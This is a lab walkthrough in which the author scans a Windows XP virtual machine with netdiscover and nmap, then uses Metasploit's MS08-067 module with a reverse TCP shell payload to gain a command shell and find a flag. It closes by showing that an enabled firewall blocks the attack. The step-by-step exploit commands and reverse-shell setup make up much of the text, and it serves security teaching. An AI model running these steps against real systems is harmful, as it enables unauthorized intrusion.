



"ExploitPot" . . . . .  
A pot of Exploits  
BY  
**c0deDaedalus**"

-----



- > Running netdiscover shows us 4 devices, but as we are working in vmware,  
So, IP 192.168.2.1 , 2 , 254 are for vmware. So It leaves odd one out victim machine's IP  
  
Thus Our Target = 192.168.2.131

- > Running ifconfig shows that our machine is connected to Network via interface eth0.
- > Thus Attacker's IP = 192.168.2.130
- > Now Let's Run ping to check If it's alive or not.
- > Ping to target machine doesn't works simply because FIREWALL = ON.
- > Try to do Nmap on Target machine.
- > You'll see all ports to be Filtered. This is what a Firewall does.
- > Filtered = Unable to determine open / Closed .
- > Firewall simply doesn't discloses the information for ports to be open or closed protecting machine from Information Gathering Attacks.

Currently scanning: 192.168.31.0/16 | Screen View: Unique Hosts

4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240

IP	At MAC Address	Count	Len	MAC Vendor / Hostname
<hr/>				
192.168.2.1	00:50:56:c0:00:08	1	60	Unknown vendor
192.168.2.2	00:50:56:e0:a6:0b	1	60	Unknown vendor
192.168.2.131	00:0c:29:e1:06:bf	1	60	Unknown vendor
192.168.2.254	00:50:56:fc:15:a8	1	60	Unknown vendor

root@kali:~# ifconfig

```
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.2.130 netmask 255.255.255.0 broadcast 192.168.2.255
        inet6 fe80::20c:29ff:fe8b:4668 prefixlen 64 scopeid 0x20<link>
            ether 00:0c:29:8b:46:68 txqueuelen 1000 (Ethernet)
                RX packets 25 bytes 3310 (3.2 KiB)
                RX errors 0 dropped 0 overruns 0 frame 0
                TX packets 8232 bytes 494781 (483.1 KiB)
                TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10<host>
        loop txqueuelen 1 (Local Loopback)
            RX packets 20 bytes 1116 (1.0 KiB)
            RX errors 0 dropped 0 overruns 0 frame 0
            TX packets 20 bytes 1116 (1.0 KiB)
            TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

root@kali:~# █

- > Now for Our Attack, Let's Turn OFF the FIREWALL. & Try again ping & nmap the target machine
- > We can see machine can respond to ping.
- > If ping shows an error message of HOST UNREACHABLE, It means
  1. either it is not in the network.
  2. or it's not alive.
- > If ping doesn't shows anything, It's a hint of FIREWALL turned ON on target machine.
- > After doing basic nmap, we can see that 997 ports are closed but ports = 135, 139, 445 are open

 Windows Security Center

 Security Center  
Help protect your PC

**Resources**

- Get the latest security and virus information from Microsoft
- Check for the latest updates from Windows Update
- Get support for security-related issues
- Get help about Security Center
- Change the way Security Center alerts me

**Security essentials**

Security Center helps you manage your Windows security settings. To help protect your computer, make sure the three security essentials are marked ON. If the settings are not ON, follow the recommendations. To return to the Security Center later, open Control Panel.

[What's new in Windows to help protect my computer?](#)

 **Firewall**  ON

 **Automatic Updates**  CHECK SETTINGS

Automatic Updates is not yet configured for this computer. Click Turn on Automatic Updates to have Windows automatically keep your computer current with important updates (recommended). [How does Automatic Updates help protect my computer?](#)

 **Virus Protection**  NOT FOUND

Windows did not find antivirus software on this computer. Antivirus software helps protect your computer against viruses and other security threats. Click Recommendations for suggested actions you can take. [How does antivirus software help protect my computer?](#)

Note: Windows does not detect all antivirus programs.

[Recommendations...](#)

Manage security settings for:



At Microsoft, we care about your privacy. Please read our [privacy statement](#).

root@kali: ~

File Edit View Search Terminal Help

```
root@kali:~# ping 192.168.2.131
PING 192.168.2.131 (192.168.2.131) 56(84) bytes of data.

^C
--- 192.168.2.131 ping statistics ---
45 packets transmitted, 0 received, 100% packet loss, time 45042ms
```

```
root@kali:~# nmap 192.168.2.131
Starting Nmap 7.40 ( https://nmap.org ) at 2017-08-16 04:09 PDT
Nmap scan report for 192.168.2.131
Host is up (0.00035s latency).
All 1000 scanned ports on 192.168.2.131 are filtered
MAC Address: 00:0C:29:E1:06:BF (VMware)

Nmap done: 1 IP address (1 host up) scanned in 34.41 seconds
root@kali:~#
```

- > Running an Aggressive OS Detection Scan via nmap give more precise information.
- > Running Command # nmap -sS -O -A 192.168.2.131

gives us MAC Address, OS Running on device & Ports & running Service Information.

- > smb-os-discovery clearly states that Target Device is running

Windows XP (Windows 2000 LAN Manager)

# Security Center

Help protect your PC

## Resources

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- Get help about Security Center
- Change the way Security Center alerts me

### Security essentials

Security Center helps you manage your Windows security settings. To help protect your computer, make sure the three security essentials are marked ON. If the settings are not ON, follow the recommendations. To return to the Security Center later, open Control Panel.

[What's new in Windows to help protect my computer?](#)

#### Firewall

OFF

Windows detects that your computer is not currently protected by a firewall. Click Recommendations to learn how to fix this problem. [How does a firewall help protect my computer?](#)

Note: Windows does not detect all firewalls.

[Recommendations...](#)

#### Automatic Updates

CHECK SETTINGS

Automatic Updates is not yet configured for this computer. Click Turn on Automatic Updates to have Windows automatically keep your computer current with important updates (recommended). [How does Automatic Updates help protect my computer?](#)

[Turn on Automatic Updates](#)

#### Virus Protection

NOT FOUND

Windows did not find antivirus software on this computer. Antivirus software helps protect your computer against viruses and other security threats. Click Recommendations for suggested actions you can take. [How does antivirus software help protect my computer?](#)

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```
File Edit View Search Terminal Help
root@kali:~# ping 192.168.2.131
PING 192.168.2.131 (192.168.2.131) 56(84) bytes of data.
64 bytes from 192.168.2.131: icmp_seq=1 ttl=128 time=0.473 ms
64 bytes from 192.168.2.131: icmp_seq=2 ttl=128 time=0.344 ms
64 bytes from 192.168.2.131: icmp_seq=3 ttl=128 time=0.352 ms
64 bytes from 192.168.2.131: icmp_seq=4 ttl=128 time=0.244 ms
64 bytes from 192.168.2.131: icmp_seq=5 ttl=128 time=0.314 ms
^C
--- 192.168.2.131 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4084ms
rtt min/avg/max/mdev = 0.244/0.345/0.473/0.076 ms
root@kali:~# nmap 192.168.2.131

Starting Nmap 7.40 ( https://nmap.org ) at 2017-08-16 04:14 PDT
Nmap scan report for 192.168.2.131
Host is up (0.0027s latency).
Not shown: 997 closed ports
PORT      STATE SERVICE
135/tcp    open  msrpc
139/tcp    open  netbios-ssn
445/tcp    open  microsoft-ds
MAC Address: 00:0C:29:E1:06:BF (VMware)

Nmap done: 1 IP address (1 host up) scanned in 14.40 seconds
root@kali:~#
```

```
root@kali:~# nmap -sS -O -A 192.168.2.131
```

```
Starting Nmap 7.40 ( https://nmap.org ) at 2017-08-16 04:15 PDT
Nmap scan report for 192.168.2.131
Host is up (0.0017s latency).
Not shown: 997 closed ports
PORT      STATE SERVICE      VERSION
135/tcp    open  msrpc        Microsoft Windows RPC
139/tcp    open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds Windows XP microsoft-ds
MAC Address: 00:0C:29:E1:06:BF (VMware)
Device type: general purpose
Running: Microsoft Windows XP|2003
OS CPE: cpe:/o:microsoft:windows_xp::sp2:professional cpe:/o:microsoft:windows_server_2003
OS details: Microsoft Windows XP Professional SP2 or Windows Server 2003
Network Distance: 1 hop
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp


```

Host script results:

```
|_clock-skew: mean: -5h30m00s, deviation: 0s, median: -5h30m00s
|_nbstat: NetBIOS name: BUSYBOX-D67DA43, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:e1:06:bf (VMware)
| smb-os-discovery:
|   OS: Windows XP (Windows 2000 LAN Manager)
|   OS CPE: cpe:/o:microsoft:windows_xp::-_
|   Computer name: busybox-d67da43
|   NetBIOS computer name: BUSYBOX-D67DA43\x00
|   Workgroup: WORKGROUP\x00
|   System time: 2017-08-16T11:16:12+05:30
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
```

- > Now We know It's an XP Machine, Let's Find Exploit for that target machine.
- > Official Microsoft Site - " [technet.microsoft.com/library/security](https://technet.microsoft.com/library/security) " lists down vulnerabilities of windows machines.
- > Note down the " MS08-067 ". It will be later used on.

The screenshot shows a web browser window with two tabs open, both titled "TN Microsoft Security Bul...". The main content area displays the Microsoft Security Bulletin MS08-067 - Critical page. The URL in the address bar is <https://technet.microsoft.com/library/security/ms08-067>. On the left, there is a sidebar with links to other bulletins: MS08-070, MS08-069, MS08-068, **MS08-067** (which is highlighted with a blue background), and MS08-066. The main title is "Microsoft Security Bulletin MS08-067 - Critical". Below it is the subtitle "Vulnerability in Server Service Could Allow Remote Code Execution (958644)". The publication date is listed as "Published: October 23, 2008". The version is "Version: 1.0". Under "General Information", there is a link to "Executive Summary". A note at the bottom states: "This security update resolves a privately reported vulnerability in the Server service. The vulnerability could allow remote code execution if an".

- > Looking for windows XP exploits, we find some Remote Code Execution exploit.  
Ya' That's CRITICAL !
- > Further Exploring shows Affected OS list by this vulnerability.
- > Also It shows maximum security impact & Patches for the Updates in OS.

Initializing Exploit Creation Phase

> Now Let's start Metasploit Framework by typing msfconsole at Terminal

MS08-059

Known Issues: None

MS08-058

**Affected and Non-Affected Software**

The following software have been tested to determine which versions or editions are affected. Other versions or editions are either past their support life cycle or are not affected. To determine the support life cycle for your software version or edition, visit [Microsoft Support Lifecycle](#).

MS08-057

**Affected Software**

MS08-056

MS08-055

Operating System	Maximum Security Impact	Aggregate Severity Rating	Bulletins Replaced by this Update
<a href="#">Microsoft Windows 2000 Service Pack 4</a>	Remote Code Execution	Critical	<a href="#">MS06-040</a>
<a href="#">Windows XP Service Pack 2</a>	Remote Code Execution	Critical	<a href="#">MS06-040</a>
<a href="#">Windows XP Service Pack 3</a>	Remote Code Execution	Critical	None
<a href="#">Windows XP Professional x64 Edition</a>	Remote Code Execution	Critical	<a href="#">MS06-040</a>
<a href="#">Windows XP Professional x64 Edition Service Pack 2</a>	Remote Code Execution	Critical	None
<a href="#">Windows Server 2003 Service Pack 1</a>	Remote Code Execution	Critical	<a href="#">MS06-040</a>
<a href="#">Windows Server 2003 Service Pack 2</a>	Remote Code Execution	Critical	None
<a href="#">Windows Server 2003 x64 Edition</a>	Remote Code Execution	Critical	<a href="#">MS06-040</a>

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```
Code: 00 00 00 00 M3 T4 SP L0 1T FR 4M 3W OR K! V3 R5 I0 N4 00 00 00 00  
Aiee, Killing Interrupt handler  
Kernel panic: Attempted to kill the idle task!  
In swapper task - not syncing
```

Save 45% of your time on large engagements with Metasploit Pro  
Learn more on <http://rapid7.com/metasploit>

```
[ metasploit v4.14.10-dev ]  
+ -- --=[ 1639 exploits - 944 auxiliary - 289 post ]  
+ -- --=[ 472 payloads - 40 encoders - 9 nops ]  
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
```

msf >

> Let's search whether exploit searched for our target is present in our metasploit database or not.

```
msf >
msf > search MS08-067
[!] Module database cache not built yet, using slow search

Matching Modules
=====
Name           Disclosure Date  Rank   Description
----           -----        ----   -----
exploit/windows/smb/ms08_067_netapi 2008-10-28      great  MS08-067 Microsoft Server Service Relative Path Stack Corruption

msf > 
```

> Exploit Search shows it's in the database. That's Good!

> Let's Use this exploit and look on some information on it.

```
=[ metasploit v4.14.10-dev ]  
+ --=[ 1639 exploits - 944 auxiliary - 289 post ]  
+ --=[ 472 payloads - 40 encoders - 9 nops ]  
+ --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
```

```
msf >  
msf > search MS08-067  
[!] Module database cache not built yet, using slow search
```

Matching Modules

=====

Name	Disclosure Date	Rank	Description
-----	-----	-----	-----
exploit/windows/smb/ms08_067_netapi	2008-10-28	great	MS08-067 Microsoft Server

```
msf > use exploit/windows/smb/ms08_067_netapi  
msf exploit(ms08_067_netapi) > info
```

```
Name: MS08-067 Microsoft Server Service Relative Path Stack Corruption  
Module: exploit/windows/smb/ms08_067_netapi  
Platform: Windows  
Privileged: Yes  
License: Metasploit Framework License (BSD)  
Rank: Great  
Disclosed: 2008-10-28
```

Provided by:

hdm <x@hdm.io>

- > Now we need to fill required parameters for our exploit.
- > Setting RHOST to target IP Address.

```
msf exploit(ms08_067_netapi) > show options
```

```
Module options (exploit/windows/smb/ms08_067_netapi):
```

Name	Current Setting	Required	Description
RHOST		yes	The target address
RPORT	445	yes	The SMB service port (TCP)
SMBPIPE	BROWSER	yes	The pipe name to use (BROWSER, SRVSVC)

```
Exploit target:
```

Id	Name
0	Automatic Targeting

```
msf exploit(ms08_067_netapi) > set RHOST 192.168.2.131
```

```
RHOST => 192.168.2.131
```

```
msf exploit(ms08_067_netapi) > show options
```

```
Module options (exploit/windows/smb/ms08_067_netapi):
```

Name	Current Setting	Required	Description
RHOST	192.168.2.131	yes	The target address
RPORT	445	yes	The SMB service port (TCP)
SMBPIPE	BROWSER	yes	The pipe name to use (BROWSER, SRVSVC)

```
Exploit target:
```

Id	Name
0	Automatic Targeting

> After done with all required options, we need to create our PAYLOAD.

> So, we are creating a "WindowsReverseTCPShell"

> Let's see required options and set them accordingly.

```
msf exploit(ms08_067_netapi) > set PAYLOAD windows/shell/
set PAYLOAD windows/shell/bind_hidden_ipknock_tcp    set PAYLOAD windows/shell/reverse_ipv6_tcp
set PAYLOAD windows/shell/bind_hidden_tcp            set PAYLOAD windows/shell/reverse_nonx_tcp
set PAYLOAD windows/shell/bind_ipv6_tcp              set PAYLOAD windows/shell/reverse_ord_tcp
set PAYLOAD windows/shell/bind_ipv6_tcp_uuid        set PAYLOAD windows/shell/reverse_tcp
set PAYLOAD windows/shell/bind_nonx_tcp             set PAYLOAD windows/shell/reverse_tcp_allports
set PAYLOAD windows/shell/bind_tcp                 set PAYLOAD windows/shell/reverse_tcp_dns
set PAYLOAD windows/shell/bind_tcp_rc4            set PAYLOAD windows/shell/reverse_tcp_rc4
set PAYLOAD windows/shell/bind_tcp_uuid          set PAYLOAD windows/shell/reverse_tcp_uuid
msf exploit(ms08_067_netapi) > set PAYLOAD windows/shell/reverse_tcp
PAYLOAD => windows/shell/reverse_tcp
msf exploit(ms08_067_netapi) > show options
```

Module options (exploit/windows/smb/ms08\_067\_netapi):

Name	Current Setting	Required	Description
RHOST	192.168.2.131	yes	The target address
RPORT	445	yes	The SMB service port (TCP)
SMBPIPE	BROWSER	yes	The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/shell/reverse\_tcp):

Name	Current Setting	Required	Description
EXITFUNC	thread	yes	Exit technique (Accepted: '', seh, thread, process, none)
LHOST		yes	The listen address
LPORT	4444	yes	The listen port

Exploit target:

> Set LHOST = Attacker's IP Address.

> Now we are done with the PAYLOAD settings, Let's exploit the Target machine.

```
msf exploit(ms08_067_netapi) > set LHOST 192.168.2.130
```

```
LHOST => 192.168.2.130
```

```
msf exploit(ms08_067_netapi) > show options
```

Module options (exploit/windows/smb/ms08\_067\_netapi):

Name	Current Setting	Required	Description
RHOST	192.168.2.131	yes	The target address
RPORT	445	yes	The SMB service port (TCP)
SMBPIPE	BROWSER	yes	The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/shell/reverse\_tcp):

Name	Current Setting	Required	Description
EXITFUNC	thread	yes	Exit technique (Accepted: '', seh, thread, process, none)
LHOST	192.168.2.130	yes	The listen address
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
0	Automatic Targeting

## &gt; Running Exploit gives us a Windows Cmd Shell.

```
msf exploit(ms08_067_netapi) > exploit

[*] Started reverse TCP handler on 192.168.2.130:4444
[*] 192.168.2.131:445 - Automatically detecting the target...
[*] 192.168.2.131:445 - Fingerprint: Windows XP - Service Pack 2 - lang:English
[*] 192.168.2.131:445 - Selected Target: Windows XP SP2 English (AlwaysOn NX)
[*] 192.168.2.131:445 - Attempting to trigger the vulnerability...
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 192.168.2.131
[*] Command shell session 1 opened (192.168.2.130:4444 -> 192.168.2.131:1046) at 2017-08-16 04:32:16 -0700
```

Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>cd \

cd \

C:\>dir

dir

Volume in drive C has no label.

Volume Serial Number is 48C4-06AD

Directory of C:\

08/10/2017 09:00 PM		0 AUTOEXEC.BAT
08/10/2017 09:00 PM		0 CONFIG.SYS
08/10/2017 09:02 PM	<DIR>	Documents and Settings
08/10/2017 09:02 PM	<DIR>	Program Files
08/10/2017 09:03 PM	<DIR>	WINDOWS
	2 File(s)	0 bytes
	3 Dir(s)	51,259,625,472 bytes free

C:\>|

> Navigate around some directories.

```
cd Administrator
```

```
C:\Documents and Settings\Administrator>dir
```

```
dir  
Volume in drive C has no label.  
Volume Serial Number is 48C4-06AD
```

```
Directory of C:\Documents and Settings\Administrator
```

08/10/2017	09:02 PM	<DIR>	.
08/10/2017	09:02 PM	<DIR>	..
08/16/2017	11:32 AM	<DIR>	Desktop
08/10/2017	09:02 PM	<DIR>	Favorites
08/10/2017	09:02 PM	<DIR>	My Documents
08/11/2017	02:25 AM	<DIR>	Start Menu
		0 File(s)	0 bytes
		6 Dir(s)	51,259,625,472 bytes free

```
C:\Documents and Settings\Administrator>cd Desktop
```

```
cd Desktop
```

```
C:\Documents and Settings\Administrator\Desktop>dir
```

```
dir  
Volume in drive C has no label.  
Volume Serial Number is 48C4-06AD
```

```
Directory of C:\Documents and Settings\Administrator\Desktop
```

08/16/2017	11:32 AM	<DIR>	.
08/16/2017	11:32 AM	<DIR>	..
08/16/2017	11:32 AM	<DIR>	apple
08/16/2017	11:32 AM	<DIR>	linux
08/16/2017	11:32 AM	<DIR>	unix
		0 File(s)	0 bytes
		5 Dir(s)	51,259,625,472 bytes free

```
C:\Documents and Settings\Administrator\Desktop>■
```

```
C:\Documents and Settings\Administrator\Desktop\apple>dir  
dir
```

```
Volume in drive C has no label.
```

```
Volume Serial Number is 48C4-06AD
```

```
Directory of C:\Documents and Settings\Administrator\Desktop\apple
```

08/16/2017	11:35 AM	<DIR>	.
08/16/2017	11:35 AM	<DIR>	..
08/16/2017	11:35 AM		0 flag_1.txt
		1 File(s)	0 bytes
		2 Dir(s)	51,259,625,472 bytes free

```
C:\Documents and Settings\Administrator\Desktop\apple>■
```

> Finally Got the Flag. Mission Accomplished.

> But wait FIREWALL SERVICE is yet to come.

> whatever we did , by the time FIREWALL was turned OFF.



```
root@kali: ~
File Edit View Search Terminal Help

[*] Started reverse TCP handler on 192.168.2.130:4444
[*] 192.168.2.131:445 - Automatically detecting the target...
[*] 192.168.2.131:445 - Fingerprint: Windows XP - Service Pack 2 - lang:English
[*] 192.168.2.131:445 - Selected Target: Windows XP SP2 English (AlwaysOn NX)
[*] 192.168.2.131:445 - Attempting to trigger the vulnerability...
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 192.168.2.131
[*] Command shell session 2 opened (192.168.2.130:4444 -> 192.168.2.131:1048) at 2017-08-1
6 04:37:10 -0700

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>
```

> Let's see what happens when you (as an attacker), by hook or crook  
get shell access on remote machine, but **FIREWALL** is turned ON.

> Firewall simply blocks the Reverse TCP connection used by exploit.



```
root@kali: ~
File Edit View Search Terminal Help

[*] Started reverse TCP handler on 192.168.2.130:4444
[*] 192.168.2.131:445 - Automatically detecting the target...
[*] 192.168.2.131:445 - Fingerprint: Windows XP - Service Pack 2 - lang:English
[*] 192.168.2.131:445 - Selected Target: Windows XP SP2 English (AlwaysOn NX)
[*] 192.168.2.131:445 - Attempting to trigger the vulnerability...
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 192.168.2.131
[*] Command shell session 2 opened (192.168.2.130:4444 -> 192.168.2.131:1048) at 2017-08-1
6 04:37:10 -0700

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>dir

^C
Abort session 2? [y/N] y

[*] 192.168.2.131 - Command shell session 2 closed. Reason: User exit
msf exploit(ms08_067_netapi) > exploit

[*] Started reverse TCP handler on 192.168.2.130:4444
[-] 192.168.2.131:445 - Exploit failed [unreachable]: Rex::ConnectionTimeout The connection timed out (192.168.2.131:445).
[*] Exploit completed, but no session was created.
msf exploit(ms08_067_netapi) >
```

**Thumb Rule : Firewall is the 1st Security thing. Make sure it's ON everytime.**